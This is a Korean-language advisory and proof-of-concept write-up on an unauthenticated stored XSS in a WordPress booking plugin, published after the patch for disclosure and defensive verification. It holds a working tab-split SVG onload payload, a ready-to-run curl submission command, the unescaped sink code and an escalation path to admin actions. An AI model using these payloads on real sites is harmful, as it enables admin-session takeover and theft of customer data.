
CVE-2026-40791: 인증되지 않은 저장형 XSS in WP Time Slots Booking Form <= 1.2.46
WordPress WP Time Slots Booking Form 플러그인에서 인증되지 않은 저장형 XSS를 발견했습니다. 공용 예약 제출이 저장된 시간 슬롯 값의 일부를 제어합니다. 플러그인은 나중에 해당 값을 관리자 예약 주문 페이지에 이스케이프 없이 출력합니다.
트릭은 간단합니다. 플러그인은 제출된 약속 문자열을 리터럴 공백으로 분할하지만, HTML은 탭을 태그 이름과 속성 사이의 공백으로 취급합니다. 따라서 8:<svg[TAB]onload=...>는 슬롯 값으로 플러그인 파서를 통과한 후, 관리자가 예약 목록을 열면 실제 마크업이 됩니다.
| CVE | CVE-2026-40791 |
| 플러그인 | WP Time Slots Booking Form |
| 슬러그 | wp-time-slots-booking-form |
| 영향받는 버전 | <= 1.2.46 |
| 수정된 버전 | 1.2.47 |
| 버그 분류 | 인증되지 않은 저장형 XSS (CWE-79) |
| 영향 | 공용 예약 -> 관리자 wp-admin 세션의 JavaScript |
| CVSS | 7.2 High (Wordfence), 7.1 (Patchstack) |
| 발견자 | Daniel Wade |
공용 예약 양식은 다음 필드를 허용합니다:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
플러그인은 다음과 같이 파싱합니다:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
구분자가 리터럴 공백이 아닌 탭이기 때문에 item_split[1]은 다음과 같이 됩니다:
8:<svg onload=alert(document.cookie)>
해당 슬롯 값은 예약에 직렬화됩니다. 관리자가 예약 주문을 열면 1.2.46 버전에서 다음 위치에 출력됩니다:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
이스케이프가 없습니다. SVG onload가 관리자 페이지에서 실행됩니다.
단순히 "관리자 쿠키를 읽을 수 있는가?"가 아닙니다. 최신 WordPress 인증 쿠키는 일반적으로 HttpOnly이므로 document.cookie가 실제 wordpress_sec_* 쿠키를 노출하지 않을 수 있습니다. 중요한 점은 스크립트가 인증된 관리자 출처 페이지에서 실행된다는 것입니다. 동일 출처의 관리자 페이지를 가져오고, 노출된 nonce를 읽고, 피해자 브라우저에서 인증된 관리자 요청을 보낼 수 있습니다.
취약한 흐름:
인증되지 않은 POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> 예약 주문 예약 배지
-> 이스케이프되지 않은 HTML 출력
파서는 시간 슬롯이 단순한 텍스트일 것이라고 가정합니다. 하지만 그렇지 않습니다. 이는 나중에 HTML 컨텍스트에 배치되는 공격자 입력입니다.
취약한 싱크는 cp-admin-int-message-list.inc.php에 있습니다:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
그 phpcs:ignore WordPress.Security.EscapeOutput 한 줄이 전체 이야기입니다. 공격자가 제어한 예약 데이터가 출력되는 곳에서 이스케이프 경고가 억제되었습니다.
페이로드 형태:
8:<svg[TAB]onload=alert(document.cookie)>
작동 이유:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" 하나의 토큰으로 유지됨
브라우저 HTML 파서
<svg<TAB>onload=...>은 <svg onload=...>가 됨
슬롯 파서는 예상하는 값을 얻습니다. 브라우저는 실행 방법을 아는 태그를 얻습니다.
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
수동 curl:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
예상 결과:
HTTP/1.1 302 Found
그런 다음 관리자로 로그인하여 다음을 엽니다:
WP Time Slots Booking Form -> Booking Orders
저장된 예약 행이 렌더링될 때 페이로드가 실행됩니다.
일회용 로컬 WordPress 실습 환경에서 전체 체인을 검증했습니다:
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
양식 1에서 CAPTCHA 비활성화
[CP_TIME_SLOTS_BOOKING id="1"]이 있는 공용 페이지
PowerShell PoC가 깔끔하게 제출되었습니다:
HTTP status: 302
페이로드가 wp_cptslotsbk_messages.posted_data에 저장되었습니다:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
그런 다음 Headless Chrome이 관리자로 로그인하고 예약 주문을 열었으며 저장된 SVG 핸들러가 설정한 마커를 확인했습니다:
ADMIN_XSS_EXECUTED
또한 플러그인을 1.2.47로 교체한 후 동일한 저장된 악성 행을 테스트했습니다. 관리자 페이지에서 페이로드가 이스케이프된 텍스트로 렌더링되었습니다:
04/15/2026 8:<svg onload=...>
마커가 실행되지 않았습니다:
PATCHED_NO_XSS_EXECUTION
또한 작은 로컬 렌더링 검사 스크립트도 있습니다:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
전체 WordPress 설치 없이 두 가지 기계적 부분을 확인합니다:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
공격자는 계정이 필요하지 않습니다. 공격자는 공용 예약을 제출하고 관리자가 예약 주문을 보기를 기다립니다.
관리자가 해당 페이지를 보면, 공격자의 JavaScript가 관리자의 WordPress 출처 내에서 실행됩니다. 실제 공격자는 일반적으로 alert(document.cookie)에서 멈추지 않습니다. 그들은 관리자 브라우저를 관리자로 사용할 것입니다:
관리자 페이지 가져오기
-> HTML에서 nonce 읽기
-> 인증된 관리자 POST 제출
-> 사이트 상태 변경
관리자의 권한과 사이트 구성에 따라 이는 사용자 생성, 플러그인 설정 변경, 알림 대상 수정, 예약/고객 데이터 읽기, 또는 플러그인/테마 기능을 통한 전체 사이트 장악으로 이어질 수 있습니다.
1.2.47 버전에서는 관리자 배지를 생성하기 전에 저장된 슬롯을 이스케이프합니다:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
이것이 싱크를 수정합니다. 더 일찍 정화하는 것도 합리적이지만, 보안 경계는 관리자 페이지의 HTML 출력 컨텍스트입니다.
poc/
reproduce.ps1 # PowerShell 인증되지 않은 예약 제출기
reproduce.sh # Bash/curl 인증되지 않은 예약 제출기
lab/
render-check.html # 최소 취약 렌더링 픽스처
validate-render.ps1 # 파서 + 브라우저 실행 정상 확인
README.md
| 날짜 | 이벤트 |
|---|---|
| 2026-03-24 | Patchstack에 신고 |
| 2026-04-13 | 패치 검증 |
| 2026-04-23 | Wordfence 권고 게시 |
| 2026-04-24 | Patchstack 권고 게시 |
면책: 이 PoC는 패치 제공 후 방어적 연구 및 검증을 위해 게시됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오.
CVE-2026-40791 - WP Time Slots Booking Form 1.2.47에서 수정됨. 영향받는 버전: 1.2.46 및 이하.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online
| 2026-04-30 | Wordfence 마지막 업데이트 |